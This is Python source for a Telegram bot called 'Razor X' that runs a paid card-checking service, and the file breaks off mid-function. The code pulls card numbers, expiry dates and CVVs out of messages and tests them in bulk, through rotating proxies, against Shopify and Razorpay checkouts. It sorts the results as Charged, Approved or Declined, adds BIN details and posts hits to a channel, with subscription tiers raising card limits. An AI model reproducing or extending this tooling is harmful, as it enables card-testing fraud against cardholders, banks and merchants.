# ๐™๐˜ผ๐™•๐™Š๐™ ๐™“ ๐˜ฝ๐™ค๐™ฉ from telethon.errors import FloodWaitError from telethon import TelegramClient, events, Button from telethon.tl.types import MessageEntityCustomEmoji, ChannelParticipantBanned from telethon.tl.functions.channels import GetParticipantRequest from telethon.extensions import html as thtml import asyncio import aiohttp import aiofiles import os import random import time import json import re import string import logging import socket import platform from datetime import datetime, timedelta from urllib.parse import urlparse, quote from typing import Optional, List from telethon.errors import ( UserNotParticipantError, ChatAdminRequiredError, ChannelPrivateError, ) try: import psutil PSUTIL_AVAILABLE = True except ImportError: PSUTIL_AVAILABLE = False from database import ( init_db, db, ensure_user, get_user_plan, set_user_plan, is_premium_user, is_banned_user, add_proxy_db, get_all_user_proxies, get_proxy_count, get_random_proxy, remove_proxy_by_index, remove_proxy_by_url, clear_all_proxies, add_site_db, get_user_sites, remove_site_db, save_card_to_db, get_total_cards_count, get_charged_count, get_approved_count, get_all_premium_users, get_total_users, get_premium_count, get_total_sites_count, get_users_with_sites, get_sites_per_user, get_all_sites_detail, mark_user_joined, is_user_marked_joined, remove_joined_mark ) # ====================== LOGGING ====================== log = logging.getLogger("RazorX") log.setLevel(logging.INFO) _log_fmt = logging.Formatter('[%(asctime)s] [%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S') _ch = logging.StreamHandler() _ch.setLevel(logging.INFO) _ch.setFormatter(_log_fmt) log.addHandler(_ch) try: _fh = logging.FileHandler('razor_x_bot.log', encoding='utf-8') _fh.setLevel(logging.INFO) _fh.setFormatter(_log_fmt) log.addHandler(_fh) except: pass def log_user(uid, action, msg, level="info"): getattr(log, level, log.info)(f"[USER:{uid}] [{action}] {msg}") def log_system(action, msg, level="info"): getattr(log, level, log.info)(f"[SYSTEM] [{action}] {msg}") # ====================== BOLD SANS CONVERTER ====================== _BOLD_SANS_MAP = {} _normal_upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" _normal_lower = "abcdefghijklmnopqrstuvwxyz" _normal_digits = "0123456789" _bold_upper = "๐—”๐—•๐—–๐——๐—˜๐—™๐—š๐—›๐—œ๐—๐—ž๐—Ÿ๐— ๐—ก๐—ข๐—ฃ๐—ค๐—ฅ๐—ฆ๐—ง๐—จ๐—ฉ๐—ช๐—ซ๐—ฌ๐—ญ" _bold_lower = "๐—ฎ๐—ฏ๐—ฐ๐—ฑ๐—ฒ๐—ณ๐—ด๐—ต๐—ถ๐—ท๐—ธ๐—น๐—บ๐—ป๐—ผ๐—ฝ๐—พ๐—ฟ๐˜€๐˜๐˜‚๐˜ƒ๐˜„๐˜…๐˜†๐˜‡" _bold_digits = "๐Ÿฌ๐Ÿญ๐Ÿฎ๐Ÿฏ๐Ÿฐ๐Ÿฑ๐Ÿฒ๐Ÿณ๐Ÿด๐Ÿต" for _i, _c in enumerate(_normal_upper): _BOLD_SANS_MAP[_c] = _bold_upper[_i] for _i, _c in enumerate(_normal_lower): _BOLD_SANS_MAP[_c] = _bold_lower[_i] for _i, _c in enumerate(_normal_digits): _BOLD_SANS_MAP[_c] = _bold_digits[_i] def bs(text): if not text: return text return "".join(_BOLD_SANS_MAP.get(c, c) for c in str(text)) # ====================== CONFIG ====================== API_ID = int(os.getenv("API_ID", "")) API_HASH = os.getenv("API_HASH", "") BOT_TOKEN = os.getenv("BOT_TOKEN", "") ADMIN_ID = json.loads(os.getenv("ADMIN_ID", "[]")) HIT_CHANNEL_ID = int(os.getenv("HIT_CHANNEL_ID", "")) JOIN_GROUP_ID = int(os.getenv("JOIN_GROUP_ID", "")) JOIN_CHANNEL_ID = int(os.getenv("JOIN_CHANNEL_ID", "")) JOIN_GROUP_LINK = os.getenv("JOIN_GROUP_LINK", "") JOIN_CHANNEL_LINK = os.getenv("JOIN_CHANNEL_LINK", "") FORCE_JOIN_IMAGES = [ "", "" ] API_BASE_URL = os.getenv("API_BASE_URL", "https://shopify-production-8c7f.up.railway.app/shopify") RAZORPAY_API_URL = os.getenv("RAZORPAY_API_URL", "https://rz.rcvan.indevs.in/rz") BOT_API = f"https://api.telegram.org/bot{BOT_TOKEN}" # โ”€โ”€ SEPARATE Worker Configuration (PER-USER) โ”€โ”€ SP_PER_USER_WORKERS = 10 MSP_PER_USER_WORKERS = 15 RZ_PER_USER_WORKERS = 30 MRZ_PER_USER_WORKERS = 50 SITE_PER_USER_WORKERS = 30 PROXY_PER_USER_WORKERS = 50 BIN_WORKERS = 20 # โ”€โ”€ Timeout Configuration โ”€โ”€ API_TIMEOUT = 75 BIN_TIMEOUT = 60 PROXY_TIMEOUT = 12 RZ_TIMEOUT = 75 # โ”€โ”€ General Settings โ”€โ”€ BATCH_SIZE = 60 SITE_CHECK_BATCH = 40 HIT_DELAY = 1.5 PER_USER_LIMIT = 200 LOG_CHANNEL_ID = HIT_CHANNEL_ID FREE_SP_DAILY_LIMIT = 15 FREE_SP_COOLDOWN = 10 PLANS = { "plan1": {"name": bs("Core Access"), "tier": "Core", "duration_days": 7, "emoji": "๐Ÿ› ๏ธ", "price": "$8.00"}, "plan2": {"name": bs("Elite Access"), "tier": "Elite", "duration_days": 15, "emoji": "๐Ÿ‘‘", "price": "$14.00"}, "plan3": {"name": bs("Root Access"), "tier": "Root", "duration_days": 30, "emoji": "โญ", "price": "$25.00"}, "plan4": {"name": bs("X-Access"), "tier": "X", "duration_days": 90, "emoji": "๐Ÿ’Ž", "price": "$60.00"}, } PAID_TIERS = ["Core", "Elite", "Root", "X"] # โ”€โ”€ PER-USER Semaphore Factory (FULLY SEPARATED per function) โ”€โ”€ _USER_SEMS = {} _BIN_SEM = asyncio.Semaphore(BIN_WORKERS) def get_user_sem(uid, sem_type="msp"): key = f"{uid}_{sem_type}" if key not in _USER_SEMS: limits = { "sp": SP_PER_USER_WORKERS, "msp": MSP_PER_USER_WORKERS, "rz": RZ_PER_USER_WORKERS, "mrz": MRZ_PER_USER_WORKERS, "site": SITE_PER_USER_WORKERS, "proxy": PROXY_PER_USER_WORKERS, } _USER_SEMS[key] = asyncio.Semaphore(limits.get(sem_type, 30)) return _USER_SEMS[key] def cleanup_user_sem(uid): keys_to_remove = [k for k in _USER_SEMS if k.startswith(f"{uid}_")] for k in keys_to_remove: del _USER_SEMS[k] CE = { "crown": 5039727497143387500, "bolt": 5042334757040423886, "brain": 5040030395416969985, "shield": 5042328396193864923, "star": 5042176294222037888, "gem": 5042050649248760772, "check": 5039793437776282663, "fire": 5039644681583985437, "party": 5039778134807806727, "search": 5039649904264217620, "chart": 5042290883949495533, "pin": 5039600026809009149, "joker": 5039998939076494446, "plus": 5039891861246838069, "cross": 5040042498634810056, "info": 5042306247047513767, "gift": 5041975203853239332, "eyes": 5039623284056917259, "trash": 5039614900280754969, "tick": 5039844895779455925, "stop": 5039671744172917707, "warn": 5039665997506675838, "link": 5042101437237036298, "globe": 5042186567783809934, "restart": 5413554170668032766, "online": 5413813953685923984, "declined": 4956612582816351459, } PE = "โญ" ACTIVE_SESSIONS = {} ACTIVE_MTXT_PROCESSES = {} ACTIVE_MRZ_PROCESSES = {} ACTIVE_ADD_PROCESSES = {} PENDING_ADD_SITES = {} PENDING_SITE_CHECK = {} USER_APPROVED_PREF = {} MAINTENANCE_FILE = "maintenance.json" _MAINTENANCE_CACHE = {"enabled": None, "last_check": 0} _JOIN_CACHE = {} _FREE_SP_USAGE = {} _FREE_SP_LAST_USE = {} BOT_START_TIME = time.time() HIT_BUTTON = [[Button.url(bs("Razor X"), "https://t.me/Razor_x_1998_bot")]] # โ”€โ”€ SEPARATE PER-USER HTTP Session Pools โ”€โ”€ _USER_HTTP_SESSIONS = {} _GLOBAL_BIN_SESSION = None _GLOBAL_PROXY_SESSION = None async def get_user_http_session(uid, purpose="general"): key = f"{uid}_{purpose}" session = _USER_HTTP_SESSIONS.get(key) if session is None or session.closed: timeout_val = RZ_TIMEOUT if purpose in ("rz", "mrz") else API_TIMEOUT connector = aiohttp.TCPConnector( limit=150, limit_per_host=50, ttl_dns_cache=300, use_dns_cache=True, keepalive_timeout=30, enable_cleanup_closed=True, ) session = aiohttp.ClientSession( timeout=aiohttp.ClientTimeout(total=timeout_val, connect=30), connector=connector, ) _USER_HTTP_SESSIONS[key] = session return session async def cleanup_user_http_session(uid, purpose="general"): key = f"{uid}_{purpose}" session = _USER_HTTP_SESSIONS.pop(key, None) if session and not session.closed: try: await session.close() except: pass async def get_bin_session(): global _GLOBAL_BIN_SESSION if _GLOBAL_BIN_SESSION is None or _GLOBAL_BIN_SESSION.closed: _GLOBAL_BIN_SESSION = aiohttp.ClientSession( timeout=aiohttp.ClientTimeout(total=BIN_TIMEOUT, connect=5), connector=aiohttp.TCPConnector(limit=50, limit_per_host=20, ttl_dns_cache=300, use_dns_cache=True) ) return _GLOBAL_BIN_SESSION async def get_proxy_session(): global _GLOBAL_PROXY_SESSION if _GLOBAL_PROXY_SESSION is None or _GLOBAL_PROXY_SESSION.closed: _GLOBAL_PROXY_SESSION = aiohttp.ClientSession( timeout=aiohttp.ClientTimeout(total=PROXY_TIMEOUT, connect=15), connector=aiohttp.TCPConnector(limit=30, limit_per_host=10, ttl_dns_cache=300, use_dns_cache=True) ) return _GLOBAL_PROXY_SESSION # ====================== FREE USER DAILY TRACKER ====================== def _get_today_key(): return datetime.now().strftime("%Y-%m-%d") def get_free_sp_usage(user_id): today = _get_today_key() entry = _FREE_SP_USAGE.get(user_id) if not entry or entry.get("date") != today: _FREE_SP_USAGE[user_id] = {"date": today, "count": 0} return 0 return entry["count"] def increment_free_sp_usage(user_id): today = _get_today_key() entry = _FREE_SP_USAGE.get(user_id) if not entry or entry.get("date") != today: _FREE_SP_USAGE[user_id] = {"date": today, "count": 1} else: _FREE_SP_USAGE[user_id]["count"] += 1 def get_free_sp_cooldown_remaining(user_id): last = _FREE_SP_LAST_USE.get(user_id, 0) elapsed = time.time() - last if elapsed >= FREE_SP_COOLDOWN: return 0 return round(FREE_SP_COOLDOWN - elapsed, 1) def set_free_sp_last_use(user_id): _FREE_SP_LAST_USE[user_id] = time.time() # ====================== SMART ROTATION ENGINE ====================== class SmartRotator: def __init__(self): self._site_fails = {} self._proxy_fails = {} self._site_idx = 0 self._proxy_idx = 0 def pick_site(self, sites, exclude=None): if not sites: return None exclude = exclude or set() available = [s for s in sites if s not in exclude and self._site_fails.get(s, 0) < 5] if not available: available = [s for s in sites if s not in exclude] if not available: available = list(sites) self._site_idx = (self._site_idx + 1) % len(available) return available[self._site_idx] def pick_proxy(self, proxies, exclude=None): if not proxies: return None exclude = exclude or set() available = [p for p in proxies if p.get('proxy_url') not in exclude and self._proxy_fails.get(p.get('proxy_url'), 0) < 5] if not available: available = [p for p in proxies if p.get('proxy_url') not in exclude] if not available: available = list(proxies) self._proxy_idx = (self._proxy_idx + 1) % len(available) return available[self._proxy_idx] def report_site_ok(self, site): self._site_fails[site] = 0 def report_site_fail(self, site): self._site_fails[site] = self._site_fails.get(site, 0) + 1 def report_proxy_ok(self, proxy_url): if proxy_url: self._proxy_fails[proxy_url] = 0 def report_proxy_fail(self, proxy_url): if proxy_url: self._proxy_fails[proxy_url] = self._proxy_fails.get(proxy_url, 0) + 1 def get_site_fails(self, site): return self._site_fails.get(site, 0) def get_dead_sites(self, threshold=5): return {s for s, c in self._site_fails.items() if c >= threshold} # ====================== SITE ERROR DETECTION ====================== SITE_ERROR_KEYWORDS = [ 'r4 token empty', 'payment method is not shopify', 'r2 id empty', 'product id is empty', 'py id empty', 'clinte token', 'receipt_empty', 'receipt id is empty', 'receipt empty', 'site requires login', 'failed to get token', 'no valid products', 'not shopify', 'failed to get checkout', 'failed to detect product', 'failed to create checkout', 'failed to get proposal data', 'site not supported', 'site error! status: 429', 'token not found', 'handle is empty', 'payment method identifier is empty', 'failed to get session token', 'failed to tokenize card', 'no_session_token', 'no session token', 'no checkout token found', 'checkout token not found', 'no checkout token', 'checkout token is empty', 'tokenize_fail', 'tokenize fail', 'tax ammount empty', 'tax amount empty', 'tax amount is empty', 'del ammount empty', 'site not supported for now', 'payment base card not supported', 'no product found', 'checkout is not available', 'cart is empty', 'cart add failed after retries', 'checkout_expired', 'checkout_not_found', 'no shipping methods available', 'site error', 'site dead', 'site errors', 'server error', 'internal server error', 'internal_server_error', 'application error', 'unexpected error', 'something went wrong', 'error in 1st req', 'error in 1 req', 'error processing card', 'we could not process', 'unable to process', 'payment provider error', 'payment gateway error', 'session expired', 'session invalid', 'failed after retries', 'max retries exceeded', 'all sites dead', 'all sites unavailable', 'processinf error', 'handle error', 'nonetype', "nonetype' object has no attribute 'get", 'unknown error', 'unknown_error', 'unknown_result', 'utm_source', 'shop is unavailable', 'store is unavailable', 'store not found', 'page not found', 'this store is unavailable', 'this shop is currently unavailable', 'password protected', 'enter store using password', 'storefront is password protected', 'shop closed', 'store closed', 'delivery_delivery_line_detail_changed', 'delivery_address2_required', 'delivery_line_detail_changed', 'delivery_line', 'delivery_address', 'address_required', 'submit_rejected', 'submit rejected:', 'change proxy or site', 'change site', 'fake charge gate', 'fake gate', 'hcaptcha detected', 'hcaptcha_detected', 'captcha at checkout', 'captcha_required', 'captcha required', 'cloudflare', 'access denied', 'permission denied', 'tlsv1 alert', 'ssl routines', 'openssl ssl_connect', 'api_timeout', 'http error', 'httperror504', '504', 'service unavailable', 'gateway timeout', 'site error! status: 404', 'site error! status: 401', 'amount_too_small', 'amount too small', 'merchandise_not_enough_stock', 'product out of stock', 'malformed input', 'url rejected', 'invalid_response', 'cart failed with status', 'invalid json response', 'invalid json', 'inventoryreservationfailure', 'inventory_reservation_failure', 'payments_positive_amount_expec', 'payments_payment_flexibility_t', 'payments_credit_card_brand_not', 'buyer_identity_presentment_currency', "'products'", "error:", "error: '", 'unable to get payment token', 'empty submit response', 'empty submit', 'order_total_changed', 'order total changed', 'invalid_payment_method', 'invalid payment method', 'validation_custom', 'validation custom', 'ARTIFACT_DISSATISFACTION', 'artifact_dissatisfaction', 'TAX_NEW_TAX_MUST_BE_ACCEPTED', 'tax_new_tax_must_be_accepted', 'PROCESSING_ERROR', 'processing_error', 'DELIVERY_COMPANY_REQUIRED', 'delivery_company_required', 'DECISION_RULE_BLOCK', 'decision_rule_block', 'timeout' ] PROXY_ERROR_KEYWORDS = [ 'proxy dead', 'proxy error', 'proxy timeout', 'proxy connection failed', 'proxy refused', ] # Razorpay-specific retry keywords RZ_RETRY_KEYWORDS = [ 'payment id not found', 'payment_id_not_found', 'timeout', 'timed out', 'connection error', 'connection failed', 'connection reset', 'server error', 'internal server error', '502', '503', '504', 'bad gateway', 'service unavailable', 'gateway timeout', 'empty reply', 'invalid json', 'could not resolve host', 'network error', 'ssl routines', 'unreachable', 'proxy dead', 'proxy error', 'proxy timeout', 'DEAD | Payment ID not found', 'timeout', ] def is_site_error(text): if not text: return True lower = text.lower().strip() if lower == 'na': return True return any(kw in lower for kw in SITE_ERROR_KEYWORDS) def is_proxy_error(text): if not text: return False return any(kw in text.lower().strip() for kw in PROXY_ERROR_KEYWORDS) def is_rz_retry_error(text): if not text: return True lower = text.lower().strip() return any(kw in lower for kw in RZ_RETRY_KEYWORDS) def is_truly_alive(response, price): if not response: return False lower = response.lower().strip() # Clearly dead sites hard_dead = [ 'not shopify', 'failed to get token', 'no valid products', 'failed to get checkout', 'failed to detect product', 'failed to create checkout', 'site not supported', 'no product found', 'checkout is not available', 'page not found', 'store not found', 'store is unavailable', 'shop is unavailable', 'password protected', 'shop closed', 'hcaptcha detected', 'captcha required', 'cloudflare', 'failed to get session token', 'no session token', 'cart is empty', 'cart add failed', 'this page has been deactivated', 'deactivated', 'payment method not available', 'gateway not available', ] if any(d in lower for d in hard_dead): return False # Valid card responses = site is working valid_responses = [ 'declined', 'card_declined', 'insufficient_funds', 'insufficient funds', 'do_not_honor', 'do not honor', 'generic_decline', 'generic decline', 'stolen_card', 'lost_card', 'expired_card', 'expired card', 'otp_required', 'otp required', '3ds_required', '3d_required', 'authentication_required', 'cvc', 'ccn', 'fraudulent', 'restricted_card', 'not_permitted', 'transaction_not_allowed', 'card_not_supported', 'order_placed', 'payment_authorized', 'order_paid', 'charged', 'success', 'paid', 'payment_risk_check_failed', 'incorrect_number', 'invalid_number', 'invalid_expiry', 'generic_error', 'your card was declined', ] if any(v in lower for v in valid_responses): return True return False # ====================== URL NORMALIZATION ====================== def normalize_site_url(url): url = url.strip().lower() url = re.sub(r'^https?://', '', url) url = url.rstrip('/') if url.startswith('www.'): url = url[4:] if '/' in url: url = url.split('/')[0] return url # ====================== MESSAGE SYSTEM ====================== client_instance = None def build_entities(html_text, emoji_ids=None): text, entities = thtml.parse(html_text) if emoji_ids: idx, utf16_pos = 0, 0 for ch in text: if ch == PE and idx < len(emoji_ids): entities.append(MessageEntityCustomEmoji(offset=utf16_pos, length=1, document_id=emoji_ids[idx])) idx += 1 utf16_pos += 2 if ord(ch) > 0xFFFF else 1 return text, sorted(entities, key=lambda e: e.offset) async def styled_reply(event, html_text, buttons=None, emoji_ids=None, file=None): try: text, entities = build_entities(html_text, emoji_ids) return await asyncio.wait_for( event.reply(text, formatting_entities=entities, buttons=buttons, file=file, link_preview=False), timeout=15 ) except asyncio.TimeoutError: return None except: try: return await asyncio.wait_for( event.reply(html_text[:4000], parse_mode='html', link_preview=False), timeout=10 ) except: return None async def styled_send(chat_id, html_text, buttons=None, emoji_ids=None, file=None): try: text, entities = build_entities(html_text, emoji_ids) return await asyncio.wait_for( client_instance.send_message(chat_id, text, formatting_entities=entities, buttons=buttons, file=file, link_preview=False), timeout=15 ) except: return None async def styled_edit(msg, html_text, buttons=None, emoji_ids=None): try: text, entities = build_entities(html_text, emoji_ids) await asyncio.wait_for( msg.edit(text, formatting_entities=entities, buttons=buttons, link_preview=False), timeout=8 ) except: pass def pbtn(text, data=None, url=None): if url: return Button.url(text, url) if data: return Button.inline(text, data.encode() if isinstance(data, str) else data) return Button.inline(text, b"none") # ====================== CARD FORMATTING ====================== def format_card_result(status, card, gateway, response, price="-", site="-", bin_info=None, elapsed=0.0): sm = { "Charged": (f"{bs('CHARGED')} {PE}", [CE["fire"]]), "Approved": (f"{bs('APPROVED')} {PE}", [CE["check"]]), "Declined": (f"{bs('DECLINED')} {PE}", [CE["declined"]]), "Error": (f"{bs('ERROR')} {PE}", [CE["cross"]]) } h, he = sm.get(status, sm["Declined"]) bi = bin_info or {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} ps = f"${str(price).replace('$', '')}" if price and price != "-" else "-" return f"""{h} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” โŠ€ {bs('Card')} โคท {card} {bs('Gateway')} โ” {gateway} {bs('Response')} โ” {response} {bs('Price')} โ” {ps} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {bs('BIN')}: {bi.get('brand', '-')} | {bi.get('type', '-')} | {bi.get('level', '-')} {bs('Bank')}: {bi.get('bank', '-')} {bs('Country')}: {bi.get('country', '-')} {bi.get('flag', '๐Ÿณ๏ธ')} {bs('Took')} โฑ {elapsed:.2f}{bs('s')}""", he def format_card_result_no_price(status, card, gateway, response, bin_info=None): """For Razorpay: no Price line, no Took line""" sm = { "Charged": (f"{bs('CHARGED')} {PE}", [CE["fire"]]), "Approved": (f"{bs('APPROVED')} {PE}", [CE["check"]]), "Declined": (f"{bs('DECLINED')} {PE}", [CE["declined"]]), "Error": (f"{bs('ERROR')} {PE}", [CE["cross"]]) } h, he = sm.get(status, sm["Declined"]) bi = bin_info or {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} return f"""{h} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” โŠ€ {bs('Card')} โคท {card} {bs('Gateway')} โ” {gateway} {bs('Response')} โ” {response} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {bs('BIN')}: {bi.get('brand', '-')} | {bi.get('type', '-')} | {bi.get('level', '-')} {bs('Bank')}: {bi.get('bank', '-')} {bs('Country')}: {bi.get('country', '-')} {bi.get('flag', '๐Ÿณ๏ธ')}""", he def format_simple_card_result(status, card, gateway, response, bin_info=None, elapsed=0.0, extra_field=None): sm = { "Charged": (f"{bs('CHARGED')} {PE}", [CE["fire"]]), "Approved": (f"{bs('APPROVED')} {PE}", [CE["check"]]), "Declined": (f"{bs('DECLINED')} {PE}", [CE["declined"]]), "Error": (f"{bs('ERROR')} {PE}", [CE["cross"]]) } h, he = sm.get(status, sm["Declined"]) bi = bin_info or {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} el = f"\n{bs(extra_field[0])} โ” {extra_field[1]}" if extra_field else "" return f"""{h} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” โŠ€ {bs('Card')} โคท {card} {bs('Gateway')} โ” {gateway} {bs('Response')} โ” {response}{el} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {bs('BIN')}: {bi.get('brand', '-')} | {bi.get('type', '-')} | {bi.get('level', '-')} {bs('Bank')}: {bi.get('bank', '-')} {bs('Country')}: {bi.get('country', '-')} {bi.get('flag', '๐Ÿณ๏ธ')} {bs('Took')} โฑ {elapsed:.2f}{bs('s')}""", he def format_rz_single_result(status, card, gateway, response, bin_info=None, elapsed=0.0): """For /rz single: show Gateway, Response, BIN, Took (no Price)""" sm = { "Charged": (f"{bs('CHARGED')} {PE}", [CE["fire"]]), "Approved": (f"{bs('APPROVED')} {PE}", [CE["check"]]), "Declined": (f"{bs('DECLINED')} {PE}", [CE["declined"]]), "Error": (f"{bs('ERROR')} {PE}", [CE["cross"]]) } h, he = sm.get(status, sm["Declined"]) bi = bin_info or {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} return f"""{h} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” โŠ€ {bs('Card')} โคท {card} {bs('Gateway')} โ” {gateway} {bs('Response')} โ” {response} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {bs('BIN')}: {bi.get('brand', '-')} | {bi.get('type', '-')} | {bi.get('level', '-')} {bs('Bank')}: {bi.get('bank', '-')} {bs('Country')}: {bi.get('country', '-')} {bi.get('flag', '๐Ÿณ๏ธ')} {bs('Took')} โฑ {elapsed:.2f}{bs('s')}""", he # ====================== FORCE JOIN ====================== async def is_user_joined(user_id): if user_id in ADMIN_ID: return True now = time.time() cached = _JOIN_CACHE.get(user_id) if cached and now - cached < 600: return True for cid in [JOIN_GROUP_ID, JOIN_CHANNEL_ID]: try: r = await client_instance(GetParticipantRequest(channel=cid, participant=user_id)) if isinstance(r.participant, ChannelParticipantBanned): return False except UserNotParticipantError: return False except (ChatAdminRequiredError, ChannelPrivateError): pass except: pass _JOIN_CACHE[user_id] = now return True async def force_join_check(event): if event.sender_id in ADMIN_ID: return True if await is_user_joined(event.sender_id): return True _JOIN_CACHE.pop(event.sender_id, None) await remove_joined_mark(event.sender_id) buttons = [ [pbtn(bs("Join Channel"), url=JOIN_CHANNEL_LINK)], [pbtn(bs("Join Group"), url=JOIN_GROUP_LINK)], [pbtn(bs("I have joined"), data="check_joined")] ] text = f"""{PE} {bs('Access Locked')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Join Both Chats to Unlock')} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Channel')}: {bs('Razor X logs')} {PE} {bs('Group')}: {bs('Razor x Abhi')} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('All Features Restricted')}""" try: await styled_reply(event, text, buttons=buttons, emoji_ids=[CE["fire"], CE["fire"], CE["stop"], CE["link"], CE["info"], CE["warn"]], file=random.choice(FORCE_JOIN_IMAGES)) except: await styled_reply(event, text, buttons=buttons, emoji_ids=[CE["fire"], CE["fire"], CE["stop"], CE["link"], CE["info"], CE["warn"]]) return False # ====================== MAINTENANCE ====================== async def set_maintenance_mode(enabled): global _MAINTENANCE_CACHE try: async with aiofiles.open(MAINTENANCE_FILE, "w") as f: await f.write(json.dumps({"maintenance": enabled})) _MAINTENANCE_CACHE = {"enabled": enabled, "last_check": time.time()} except: pass async def get_maintenance_mode(): global _MAINTENANCE_CACHE now = time.time() if _MAINTENANCE_CACHE["enabled"] is not None and now - _MAINTENANCE_CACHE["last_check"] < 30: return _MAINTENANCE_CACHE["enabled"] try: if not os.path.exists(MAINTENANCE_FILE): return False async with aiofiles.open(MAINTENANCE_FILE, "r") as f: data = json.loads(await f.read()) _MAINTENANCE_CACHE = {"enabled": data.get("maintenance", False), "last_check": now} return _MAINTENANCE_CACHE["enabled"] except: return False async def check_maintenance(event): if await get_maintenance_mode() and event.sender_id not in ADMIN_ID: await styled_reply(event, f"""{PE} {bs('Maintenance')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Bot under maintenance')} {PE} {bs('Try again later')}""", emoji_ids=[CE["stop"], CE["stop"], CE["warn"], CE["info"]]) return True return False # ====================== ACCESS ====================== async def can_use(user_id, chat): await ensure_user(user_id) if await is_banned_user(user_id): return False, "banned" plan = (await get_user_plan(user_id)).title() return True, f"{plan}_private" if chat.id == user_id else f"{plan}_group" async def get_user_access(event): await ensure_user(event.sender_id) if await is_banned_user(event.sender_id): return False, "banned", "Bronze" plan = (await get_user_plan(event.sender_id)).title() return True, f"{plan}_private" if event.chat.id == event.sender_id else f"{plan}_group", plan def get_cc_limit(plan, uid=None): if uid and uid in ADMIN_ID: return 10000 p = plan.title() if plan else "Bronze" if p == "X": return 10000 if p == "Root": return 5000 if p == "Elite": return 2500 if p == "Core": return 1500 return 0 def is_paid_plan(plan): return plan.title() in PAID_TIERS if plan else False async def send_group_only_message(event): return await styled_reply(event, f"""{PE} {bs('Group Only')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Free users')} โ†’ {bs('group only')} {PE} {bs('Upgrade for private access')}""", emoji_ids=[CE["stop"], CE["stop"], CE["warn"], CE["gem"]]) async def send_premium_only_message(event): return await styled_reply(event, f"""{PE} {bs('Premium Only')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('This feature requires an active plan')} {PE} {bs('Use /plan to see available plans')}""", buttons=[[pbtn(bs("Upgrade"), url="https://t.me/monsterloaderowner")]], emoji_ids=[CE["stop"], CE["stop"], CE["warn"], CE["info"]]) def banned_user_message(): return f"""{PE} {bs('Banned')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('Not allowed')} {PE} {bs('Appeal')}: {bs('Contact Admin')}""", [CE["stop"], CE["stop"], CE["warn"], CE["info"]] # ====================== UTILITIES ====================== def extract_cc(text): if not text: return [] cards = [] for c, m, y, cv in re.findall(r'(\d{15,16})[\s|/\\:]+(\d{2})[\s|/\\:]+(\d{2,4})[\s|/\\:]+(\d{3,4})', text): if len(y) == 2: y = '20' + y cards.append(f"{c}|{m}|{y}|{cv}") if not cards: for c, m, y, cv in re.findall(r'(\d{15,16})[\s|/\\:]+(\d{2})[\s|/\\:]+(\d{4})(\d{3,4})', text): cards.append(f"{c}|{m}|{y}|{cv}") if not cards: for c, m, y, cv in re.findall(r'(\d{15,16})[\s|/\\:]+(\d{2})[\s|/\\:]+(\d{2})(\d{3,4})', text): cards.append(f"{c}|{m}|20{y}|{cv}") return list(dict.fromkeys(cards)) def is_valid_url_or_domain(url): d = url.lower() if d.startswith(('http://', 'https://')): try: d = urlparse(url).netloc except: return False return bool(re.match(r'^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*\.[a-zA-Z]{2,}$', d)) def extract_urls_from_text(text): seen, result = set(), [] for line in text.split('\n'): line = line.strip() if not line: continue m = re.match(r'(https?://[^\s{(]+)', line) if m: norm = normalize_site_url(m.group(1).rstrip('/')) if norm and is_valid_url_or_domain(norm) and norm not in seen: seen.add(norm); result.append(norm) continue cleaned = re.sub(r'^[\s\-\+\|,\d\.\)\(\[\]]+', '', line).split(' ')[0].split('{')[0].strip() if cleaned: norm = normalize_site_url(cleaned) if norm and is_valid_url_or_domain(norm) and norm not in seen: seen.add(norm); result.append(norm) return result def parse_proxy_format(proxy): proxy = proxy.strip() pt = 'http' pm = re.match(r'^(socks5|socks4|http|https)://(.+)$', proxy, re.IGNORECASE) if pm: pt, proxy = pm.group(1).lower(), pm.group(2) h = p = u = pw = '' m = re.match(r'^([^@:]+):([^@]+)@([^:@]+):(\d+)$', proxy) if m: u, pw, h, p = m.groups() elif re.match(r'^([^:]+):(\d+):([^:]+):(.+)$', proxy): m2 = re.match(r'^([^:]+):(\d+):([^:]+):(.+)$', proxy) ph, pp, pu, ppw = m2.groups() if 0 < int(pp) <= 65535: h, p, u, pw = ph, pp, pu, ppw elif re.match(r'^([^:@]+):(\d+)$', proxy): m3 = re.match(r'^([^:@]+):(\d+)$', proxy) h, p = m3.groups() else: return None if not h or not p: return None try: if not (0 < int(p) <= 65535): return None except: return None pu = 